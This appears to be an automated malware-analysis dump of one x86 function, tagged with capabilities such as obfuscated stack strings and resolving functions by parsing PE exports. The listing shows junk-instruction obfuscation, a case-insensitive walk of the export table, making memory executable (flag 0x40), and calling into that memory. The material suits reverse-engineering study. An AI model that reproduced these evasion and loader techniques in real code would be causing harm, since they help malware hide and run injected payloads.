Function at 0x457870
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov cl, byte [ebp - 1]
add cl, 1
mov byte [ebp - 1], cl
sub esi, 0x92c3
or esi, 0x97fe
pop esi
mov dword [ebp - 0x114], 0
push edx
push edi
add esp, 4
sub edx, 0x1312
pop edx
push edi
push edx
add esp, 4
sub edi, 0x117b6
add edi, 0x13472
and edi, 0x16018
xor edi, 0xb66a
pop edi
push edi
sub edi, 0xfaa
pop edi
mov ecx, dword [ebp - 0x80]
mov dword [ebp - 0x31c], ecx
cmp dword [ebp - 0x31c], 0
jne 0x4572ae
push ebx
sub ebx, 0x11e18
or ebx, 0xae6c
pop ebx
push ebx
push edx
add esp, 4
sub ebx, 0x1db4
pop ebx
push edi
jmp 0x45728c
pop edi
push ecx
and ecx, 0xce6e
pop ecx
push eax
add eax, 0xfed2
pop eax
mov edx, dword [ebp - 0x114]
mov dword [ebp - 0xac], edx
jmp 0x457788
mov eax, dword [ebp - 0x31c]
mov ecx, dword [ebp - 0x80]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x320], ecx
jne 0x4572d3
mov edx, dword [ebp - 0x114]
mov dword [ebp - 0xac], edx
jmp 0x457788
push edx
and edx, 0x1bb4
pop edx
push edx
push esi
add esp, 4
or edx, 0x10fba
xor edx, 0x49c6
pop edx
push eax
call 0x4572fb
add byte [ebx + 0x42], cl
xor al, 0x3b
xor al, 0x42
inc esi
add esp, 4
sub eax, 0x2b01
pop eax
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x320]
mov eax, dword [edx + ecx + 0x78]
mov dword [ebp - 0x324], eax
cmp dword [ebp - 0x324], 0
jne 0x457369
push ecx
push eax
add esp, 4
jmp 0x457333
xor ecx, 0x4e6c
jmp 0x45733f
or ecx, 0x794a
pop ecx
push edi
push edx
add esp, 4
and edi, 0x3258
xor edi, 0xad7f
pop edi
mov ecx, dword [ebp - 0x114]
mov dword [ebp - 0xac], ecx
jmp 0x457788
push ebx
push esi
add esp, 4
jmp 0x457377
jmp 0x45737e
pop ebx
push ebx
xor ebx, 0x17058
jmp 0x45738f
xor ebx, 0xff72
jmp 0x45739a
pop ebx
mov edx, dword [ebp - 0x80]
add edx, dword [ebp - 0x324]
mov dword [ebp - 0x100], edx
jne 0x4573ef
push eax
sub eax, 0x10647
and eax, 0x67e9
xor eax, 0x13c96
pop eax
push esi
push edx
add esp, 4
add esi, 0x75d0
add esi, 0xf7df
xor esi, 0x9f50
add esi, 0x10c5f
pop esi
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0xac], eax
jmp 0x457788
mov ecx, dword [ebp - 0x100]
mov edx, dword [ebp - 0x80]
add edx, dword [ecx + 0x20]
mov dword [ebp - 0x424], edx
push esi
or esi, 0xdf19
call 0x457415
add byte [0x37343943], bh
xor eax, 0x4c4834f
pop esi
push ebx
push eax
add esp, 4
sub ebx, 0x10857
or ebx, 0x12172
pop ebx
push esi
xor esi, 0xb0e4
pop esi
mov eax, dword [ebp - 0x100]
mov ecx, dword [ebp - 0x80]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x428], ecx
push ecx
push esi
add esp, 4
sub ecx, 0xb785
sub ecx, 0x14366
pop ecx
push esi
sub esi, 0x1761e
pop esi
push edx
push ecx
add esp, 4
and edx, 0x181fb
xor edx, 0xc655
jmp 0x457476
pop edx
mov edx, dword [ebp - 0x100]
mov eax, dword [ebp - 0x80]
add eax, dword [edx + 0x1c]
mov dword [ebp - 0x42c], eax
mov dword [ebp - 0x104], 0
jmp 0x4574a4
mov ecx, dword [ebp - 0x104]
add ecx, 1
mov dword [ebp - 0x104], ecx
mov edx, dword [ebp - 0x100]
mov eax, dword [ebp - 0x104]
cmp eax, dword [edx + 0x18]
jae 0x45777c
push eax
push eax
add esp, 4
xor eax, 0x6479
pop eax
push edi
push edi
add esp, 4
xor edi, 0x10274
pop edi
push eax
call 0x4574df
add byte [edi], bh
dec ebp
dec edx
dec esi
cmp byte [0x4c48349], dh
pop eax
push edx
xor edx, 0x784d
pop edx
mov ecx, dword [ebp - 0x104]
mov edx, dword [ebp - 0x424]
mov eax, dword [ebp - 0x80]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x10c], eax
push esi
push ecx
add esp, 4
jmp 0x45750d
pop esi
push esi
push edx
add esp, 4
call 0x45751f
add byte [ebx + 0x48], al
dec ebx
dec ebp
cmp eax, 0x4c48347
add esi, 0xde72
pop esi
push eax
push esi
add esp, 4
jmp 0x457534
pop eax
mov ecx, dword [ebp - 0x104]
mov edx, dword [ebp - 0x428]
movzx eax, word [edx + ecx*2]
mov ecx, dword [ebp - 0x42c]
mov edx, dword [ebp - 0x80]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x430], edx
push edi
call 0x457566
add byte [ebx], dh
dec ebx
xor al, 0x4f
inc esi
cmp eax, dword [edx + 0x4c]
add esp, 4
jmp 0x457570
pop edi
push edi
push ecx
add esp, 4
add edi, 0x425a
xor edi, 0x480d
and edi, 0x5def
pop edi
mov dword [ebp - 0x3c], 0
jmp 0x45759b
mov eax, dword [ebp - 0x3c]
add eax, 1
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x10c]
add ecx, dword [ebp - 0x3c]
movsx edx, byte [ecx]
test edx, edx
je 0x457637
mov eax, dword [ebp - 0x3c]
movsx ecx, byte [ebp + eax - 0x184]
test ecx, ecx
je 0x457637
push edx
push eax
add esp, 4
or edx, 0x8ec3
pop edx
push esi
push ebx
add esp, 4
and esi, 0xd3e
pop esi
push ebx
jmp 0x4575e0
call 0x4575ec
add byte [esi + 0x38], cl
xor eax, 0x833a3346
les eax, [ebx + ebx*2]
mov edx, dword [ebp - 0x10c]
add edx, dword [ebp - 0x3c]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x3c]
movsx edx, byte [ebp + ecx - 0x184]
cmp eax, edx
je 0x457629
mov eax, dword [ebp - 0x10c]
add eax, dword [ebp - 0x3c]
movsx ecx, byte [eax]
xor ecx, 0x20
mov edx, dword [ebp - 0x3c]
movsx eax, byte [ebp + edx - 0x184]
cmp ecx, eax
jne 0x457630
jmp 0x457592
jmp 0x457637
push esi
add esi, 0xa427
pop esi
push ecx
push edi
add esp, 4
sub ecx, 0x1297e
pop ecx
push edi
push edx
add esp, 4
xor edi, 0x11cdc
add edi, 0x6dff
and edi, 0x3642
and edi, 0x10c9a
pop edi
mov ecx, dword [ebp - 0x10c]
add ecx, dword [ebp - 0x3c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x3c]
movsx ecx, byte [ebp + eax - 0x184]
cmp edx, ecx
jne 0x457693
mov dword [ebp - 0x258], 0
jmp 0x45772e
push eax
push edx
add esp, 4
jmp 0x45769f
jmp 0x4576a7
pop eax
push esi
push eax
add esp, 4
call 0x4576bb
add byte [edi], bh
inc edx
xor eax, 0x364b353c
cmp al, 0x83
les eax, [ebx + ebp*8]
add al, 0x45
cmp byte [edx + 0x4b], cl
pop esi
mov edx, dword [ebp - 0x10c]
add edx, dword [ebp - 0x3c]
movsx eax, byte [edx]
or eax, 0x20
mov ecx, dword [ebp - 0x3c]
movsx edx, byte [ebp + ecx - 0x184]
or edx, 0x20
cmp eax, edx
jge 0x4576f2
mov dword [ebp - 0x258], 0xffffffff
jmp 0x45772e
push esi
push edx
add esp, 4
and esi, 0xbf7d
or esi, 0x8c50
sub esi, 0xb22d
pop esi
push eax
push edi
add esp, 4
jmp 0x457714
call 0x457720
add byte [ecx], bh
inc ecx
inc esi
cmp al, 0x34
xor al, 0x83
les eax, [eax + ebx*2]
mov dword [ebp - 0x258], 1
cmp dword [ebp - 0x258], 0
jne 0x457777
push esi
push esi
add esp, 4
sub esi, 0x3a36
sub esi, 0xa956
and esi, 0x4bb6
pop esi
push eax
jmp 0x457756
xor eax, 0xad07
xor eax, 0x5427
sub eax, 0x9ebe
pop eax
mov eax, dword [ebp - 0x430]
mov dword [ebp - 0xac], eax
jmp 0x457788
jmp 0x457495
mov ecx, dword [ebp - 0x114]
mov dword [ebp - 0xac], ecx
mov edx, dword [ebp - 0xac]
mov dword [ebp - 0x1bc], edx
lea eax, [ebp - 0x47c]
push eax
push 0x40
mov ecx, dword [ebp - 0x328]
sub ecx, dword [ebp - 0xcc]
push ecx
mov edx, dword [ebp - 0xcc]
push edx
call dword [ebp - 0x1bc]
test eax, eax
jne 0x4577f2
push esi
push eax
add esp, 4
sub esi, 0x6902
pop esi
push edi
push eax
add esp, 4
call 0x4577d8
add byte [edi + 0x4a], al
inc esi
inc esp
dec ebx
inc esi
add esp, 4
jmp 0x4577e0
add edi, 0x12a7b
xor edi, 0x15712
pop edi
jmp 0x457905
push ebx
push ebx
add esp, 4
xor ebx, 0x1300a
pop ebx
push ecx
push ecx
add esp, 4
add ecx, 0xc13c
pop ecx
push edi
push ecx
add esp, 4
or edi, 0x103a
pop edi
push edi
and edi, 0x11257
xor edi, 0x3f93
pop edi
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x438], eax
push ebx
add ebx, 0x15442
add ebx, 0xfba6
and ebx, 0x1b0d
sub ebx, 0x18376
pop ebx
push eax
xor eax, 0x9938
pop eax
push eax
and eax, 0x11548
pop eax
push ebx
sub ebx, 0xe557
pop ebx
pushal
push eax
jmp 0x45786a
call 0x457877
add byte [edi], bh
aas
cmp esi, dword [esp + ecx*2]
inc eax
xor al, 0x33
add esp, 4
and eax, 0x6d39
pop eax
push esi
xor esi, 0xf480
and esi, 0x180dd
or esi, 0x783b
pop esi
call dword [ebp - 0x438]
push edx
and edx, 0x13e56
or edx, 0xc2d9
sub edx, 0x3301
xor edx, 0x404d
pop edx
push ebx
push ebx
add esp, 4
or ebx, 0x2b30
xor ebx, 0xbbec
and ebx, 0x11427
pop ebx
popal
push edx
push eax
add esp, 4
call 0x4578e0
add byte [eax], bh
xor al, 0x40
cmp byte [eax + 0x39], cl
add esp, 4
pop edx
push esi
or esi, 0x5f9
or esi, 0xaf4
jmp 0x4578f9
xor esi, 0x61b6
pop esi
jmp 0x4551a2